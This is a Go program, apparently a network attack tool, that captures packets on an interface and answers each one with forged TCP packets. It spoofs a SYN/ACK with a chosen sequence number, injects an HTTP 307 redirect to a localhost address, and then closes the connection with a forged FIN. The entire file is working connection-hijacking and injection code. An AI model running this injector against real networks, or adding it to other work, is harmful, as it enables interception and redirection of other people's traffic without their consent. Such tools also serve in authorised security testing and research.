func main() {
defer util.Run()()
var eth layers.Ethernet
var dot1q layers.Dot1Q
var ip4 layers.IPv4
var tcp layers.TCP
var payload gopacket.Payload
r := rand.New(rand.NewSource(time.Now().UnixNano()))
hijackSeq := r.Uint32()
decoded := make([]gopacket.LayerType, 0, 4)
streamInjector := attack.TCPStreamInjector{}
err := streamInjector.Init("0.0.0.0")
if err != nil {
panic(err)
}
handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)
if err != nil {
log.Fatal("error opening pcap handle: ", err)
}
if err := handle.SetBPFFilter(*filter); err != nil {
log.Fatal("error setting BPF filter: ", err)
}
parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
ð, &dot1q, &ip4, &tcp, &payload)
log.Print("collecting packets...\n")
for {
data, ci, err := handle.ZeroCopyReadPacketData()
if err != nil {
log.Printf("error getting packet: %v %s", err, ci)
continue
}
err = parser.DecodeLayers(data, &decoded)
if err != nil {
log.Printf("error decoding packet: %v", err)
continue
}
// craft a response to the client
// here we reuse the client's header
// by swapping addrs and ports
// swap ip addrs
srcip := ip4.SrcIP
ip4.SrcIP = ip4.DstIP
ip4.DstIP = srcip
// swap ports
srcport := tcp.SrcPort
tcp.SrcPort = tcp.DstPort
tcp.DstPort = srcport
// empty payload for SYN/ACK handshake completion
streamInjector.Payload = []byte("")
seq := tcp.Seq
tcp.Seq = hijackSeq
tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
tcp.ACK = true
tcp.SYN = true
tcp.RST = false
err = streamInjector.SetIPLayer(ip4)
if err != nil {
panic(err)
}
streamInjector.SetTCPLayer(tcp)
err = streamInjector.Write()
if err != nil {
panic(err)
}
log.Print("SYN/ACK packet sent!\n")
// send rediction payload
redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n")
streamInjector.Payload = redirect
tcp.PSH = true
tcp.SYN = false
tcp.ACK = true
tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1))
err = streamInjector.SetIPLayer(ip4)
if err != nil {
panic(err)
}
streamInjector.SetTCPLayer(tcp)
err = streamInjector.Write()
if err != nil {
panic(err)
}
log.Print("redirect packet sent!\n")
// send FIN
streamInjector.Payload = []byte("")
tcp.FIN = true
tcp.SYN = false
tcp.ACK = false
tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2))
err = streamInjector.SetIPLayer(ip4)
if err != nil {
panic(err)
}
streamInjector.SetTCPLayer(tcp)
err = streamInjector.Write()
if err != nil {
panic(err)
}
log.Print("FIN packet sent!\n")
}
}